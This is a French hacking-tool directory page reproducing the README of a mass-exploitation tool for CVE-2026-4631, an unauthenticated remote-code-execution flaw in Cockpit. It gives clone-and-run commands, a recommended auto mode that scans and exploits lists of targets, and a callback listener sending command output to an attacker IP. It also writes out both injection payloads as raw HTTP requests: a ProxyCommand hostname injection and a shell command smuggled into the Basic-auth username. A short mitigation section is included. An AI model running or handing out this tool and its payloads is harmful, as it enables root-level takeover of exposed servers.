Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-4631-cockpit-RCE — Exécution de code à distance non authentifiée via injection d'arguments en ligne de commande SSH Cockpit versions 327 – 359 | CVSS 9.8 Critique | CWE-78 | Kitploit
Outils/GitHubGitHub/exdev994/cve-2026-4631-cockpit-rce
Scanners de VulnérabilitésGénération de PayloadsExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionCommandement et ContrôleRed Teaming
Outil d'Accès à Distance
GitHubexdev994/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Exécution de code à distance non authentifiée via injection d'arguments en ligne de commande SSH Cockpit versions 327 – 359 | CVSS 9.8 Critique | CWE-78

Voir le dépôt
21il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-4631 — Outil d'exploitation de masse Cockpit

Exécution de code à distance non authentifiée via injection d'argument de ligne de commande SSH Versions Cockpit 327 – 359 | CVSS 9.8 Critique | CWE-78

Outil d'exploitation de masse pour CVE-2026-4631 sur le service web Cockpit (cockpit-ws, port 9090). Prend en charge le mode scan de vulnérabilité, le mode RCE avec capture de sortie de commande via un écouteur de rappel HTTP intégré, le mode --auto (scan + exploitation en une seule fois avec la commande par défaut id), l'ajout automatique du port :9090 pour les cibles sans port, les deux vecteurs d'attaque (ProxyCommand + injection %r du nom d'utilisateur), les cibles multiples depuis un fichier, le threading concurrent et un résultat structuré.

Auteur : 0xNuts


Démarrage rapide

Cloner et installer

git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt

Préparer la cible

Modifiez targets.txt — un hôte par ligne. Le port :9090 est automatiquement ajouté s'il est absent :

192.168.1.10
cockpit.example.com
https://manage.lab.local

Exécuter (Mode AUTO — Recommandé)

# Scan + exploitation en une seule fois, commande par défaut "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTAQUANT>

# Exemple de sortie dans results.txt :
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

Autres modes

# Scan de vulnérabilité uniquement (sans exploitation)
python3 exploit.py -f targets.txt --scan -o scan_results.txt

# RCE explicite avec commande personnalisée
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTAQUANT>

# Cible unique
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTAQUANT>

Remarque sur le rappel

CVE-2026-4631 est un RCE aveugle — la sortie de la commande n'est pas renvoyée dans la réponse HTTP. L'outil utilise un écouteur HTTP intégré (port par défaut 8888) pour capturer la sortie. Assurez-vous :

  1. --callback-ip est une IP accessible depuis la cible (pas 127.0.0.1)
  2. Le pare-feu autorise le trafic TCP entrant sur le port 8888 (ou --listener-port personnalisé)
  3. La cible peut émettre du trafic HTTP sortant vers l'IP de l'attaquant

Comment corriger / atténuer (Défenseur)

1. Mettre à niveau Cockpit (Obligatoire)

# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws

# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws

# Vérifier la version (doit être >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian
rpm -q cockpit-ws                            # RHEL

2. Désactiver la connexion à distance (Solution de contournement)

Modifiez /etc/cockpit/cockpit.conf :

[WebService]
LoginTo = false

Redémarrez le service :

sudo systemctl restart cockpit

3. Segmentation réseau

Restreignez le port 9090 au seul réseau d'administration :

sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP

4. Mettre à niveau OpenSSH >= 9.6

Atténue le vecteur 1 (injection ProxyCommand) via la validation précoce du nom d'hôte :

ssh -V   # doit être OpenSSH_9.6 ou plus récent

5. Correctif manuel (rétroportage)

Si la mise à niveau vers 360 n'est pas possible, appliquez les commits de correctif :

  • cockpit 9d0695647 — ajout du séparateur -- dans beiboot.py et cockpitauth.c
  • ferny 44ec511c99 — ajout de -- dans session.py

Détail du correctif : voir docs/PATCH_ANALYSIS.md


Table des matières

  1. Résumé de la vulnérabilité
  2. Vecteurs d'attaque
  3. Prérequis d'exploitation
  4. Installation
  5. Utilisation
  6. Modes de fonctionnement
  7. Exemples d'exécution
  8. Format de sortie
  9. Architecture de l'outil
  10. Structure des fichiers
  11. Mécanisme de capture RCE aveugle
  12. Détection et atténuation
  13. Avertissement légal
  14. Références

Résumé de la vulnérabilité

ChampDétail
ID CVECVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
GravitéCritique (CVSS 9.8)
CWECWE-78 — Injection de commande système
AffectéCockpit 327 – 359
Corrigé dansCockpit 360+
Authentification requiseNON (pré-authentification)
SignaleurJelle van der Waa
Servicecockpit-ws, port par défaut 9090

Cockpit v327 a remplacé cockpit-ssh (libssh) par python3 -m cockpit.beiboot qui invoque le client ssh OpenSSH système. Des entrées contrôlées par l'utilisateur — le nom d'hôte du chemin URL et le nom d'utilisateur de l'en-tête Authorization: Basic — sont transmises à ssh sans assainissement et sans le séparateur de fin d'options --. L'injection se produit avant la vérification des identifiants, donc aucune connexion valide n'est nécessaire.


Vecteurs d'attaque

Vecteur 1 — Injection ProxyCommand (Principal)

Le nom d'hôte du chemin URL est injecté avec l'option SSH -oProxyCommand=<cmd>.

GET /cockpit+=-oProxyCommand=<PAYLOAD_ENCODÉ_URL>/login HTTP/1.1
Host: cible:9090
Authorization: Basic base64("x:x")

SSH analyse -oProxyCommand=<cmd> comme une option, exécute <cmd> comme ProxyCommand. La commande s'exécute en tant que processus utilisateur cockpit-ws.

Prérequis : OpenSSH < 9.6 sur la cible. OpenSSH 9.6+ dispose d'une validation précoce du nom d'hôte qui bloque les métacaractères.

Vecteur 2 — Injection du jeton %r du nom d'utilisateur (Secondaire)

Le nom d'utilisateur de l'en-tête Authorization: Basic est injecté avec une commande shell.

GET /cockpit+=hôte-légitime/login HTTP/1.1
Host: cible:9090
Authorization: Basic base64("x; <CMD>; #:x")

SSH développe %r avec le nom d'utilisateur dans la directive Match exec → le shell exécute la commande injectée.

Prérequis : le ssh_config de la cible possède une directive Match exec avec le jeton %r.


Prérequis d'exploitation

Côté attaquant (machine exécutant l'outil)

  • Python 3.8+
  • IP accessible depuis la cible Cockpit (pour l'écouteur de rappel)
  • Port ouvert pour l'écouteur (par défaut 8888)
  • Pare-feu autorisant le trafic entrant de la cible vers le port de l'écouteur

Côté cible (instance Cockpit)

  • Version Cockpit 327 – 359
  • Port 9090 accessible
  • Fonctionnalité de connexion à distance (LoginTo) non désactivée
  • Pour le vecteur 1 : OpenSSH < 9.6
  • Pour le vecteur 2 : ssh_config avec Match exec %r

Installation

# Cloner depuis GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE

# Installer les dépendances
pip install -r requirements.txt

# Vérifier
python3 exploit.py --help

Dépendances

  • requests>=2.31 — client HTTP pour les requêtes d'exploitation
  • colorama>=0.4 — sortie terminal colorée

Aucune dépendance supplémentaire pour l'écouteur (utilise les bibliothèques standard http.server + threading).


Utilisation

Télécharger l’outil